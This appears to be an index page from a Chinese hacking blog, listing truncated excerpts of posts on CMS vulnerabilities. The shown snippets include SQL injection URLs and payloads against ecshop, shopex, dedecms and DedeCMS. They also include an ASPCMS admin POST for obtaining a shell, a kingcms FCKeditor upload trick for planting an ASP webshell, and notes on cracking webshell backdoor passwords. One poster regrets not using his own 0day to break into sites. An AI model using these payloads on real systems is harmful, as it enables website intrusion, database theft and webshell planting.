ecshop 最新注入0day漏洞分析报告

漏洞作者:360 漏洞分析:Seay 博客:www.cnseay.com   今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。   由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。   漏洞核心代码在includesmodulespaymenta...

- 阅读全文 -

ASPCMS 老版本秒杀拿SHELL

老的ASPCMS版本的秒杀拿SHELL漏洞 找到后台。。。然后 /admin/_system/AspCms_SiteSetting.asp?action=saves 直接POST runMode=1&siteMode=1&siteHelp=%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0&S...

- 阅读全文 -

shopex两处通杀注入

一个是网站未开启伪静态的注入,一个是网站开启伪静态后的注入,以及是否屏蔽错误回显的2X2=4种情况。 如何注入就不多说了,自己捉摸! https://www.webshell.cc/index.php?comment-822'/**/and/**/'1'='1-ask-commentlist.html https://www.webshell.cc/comment-8967'/**/and/**/Ex...

- 阅读全文 -

几种常见的hash加密,怎么判断hash的类型

题外话:最近对加密的方式讨论挺火的 --------------*nix系------------------------ 系统:ES(Unix) 例子: IvS7aeT4NzQPM 说明:Linux或者其他linux内核系统中 长度: 13 个字符 描述:第1、2位为salt,例子中的'Iv'位salt,后面的为hash值 系统:MD5(Unix) 例子:$1$12345678$XM4P3PrK...

- 阅读全文 -

[通杀]dedecms plus/search.php 注入漏洞利用EXP

哎。没意识,我一个月前就发现了这个漏洞,一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。 既然已经发出来了,我就把我自己搞的exp发下吧。。唉。 我一般是这样测试的: 提交 http://webshell.cc/plus/search.php?keyword=as&typeArr[ uNion ]=a   ...

- 阅读全文 -

TNTHK小组内部版webshell密码破解

下面简单的揭露下怎么获取webshell后门密码 1. 在password登陆框 随便输入一错误密码,提示error,如图: 2. 然后右键查看源文件,搜索[password],font 后面跟的就是shell的密码,测试一下 3. 按照上面的方法,貌似通杀…

- 阅读全文 -

Microsoft IE mshtml!CDwnBindInfo对象释放后重用代码执行漏洞

new IE 0day coming-mshtml!CDwnBindInfo object use after free vulnerability - 一个影响IE8及以上版本的0day被国外某网站所披露,它通过挂马方式,针对CFR(Council on Foreign Relations)网站的用户进行定向攻击。 我们在@eromang及@yomuds的帮助下,并对其进行简单分析。我们发现其本...

- 阅读全文 -

DedeCMS会员中心分类管理SQL注射0day

漏洞描述: 需要magic_quotes_gpc = Off,所以说是鸡肋啊. 发生在数组key里的注射漏洞,有点意思. 这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下 https://www.webshell.cc/member/mtypes.php?dopost=save exploit: mtypename[7' and (@`'` or (56%3D56/*sql inje...

- 阅读全文 -

kingcms 5.0 漏洞

1。kingcms 5.0 fckeditor的默认路径在 admin/system/editor/FCKeditor/editor/fckeditor.Html 把本地的马命名为 hx.asp;jpg 注意看 jpg前面没有点了.. OK了..其实以后做站结合fckeditor这类的编辑器..最好加个验证..只有管理才能访问..这样或者比较好吧 2。编辑器路径:/admin/system/edi...

- 阅读全文 -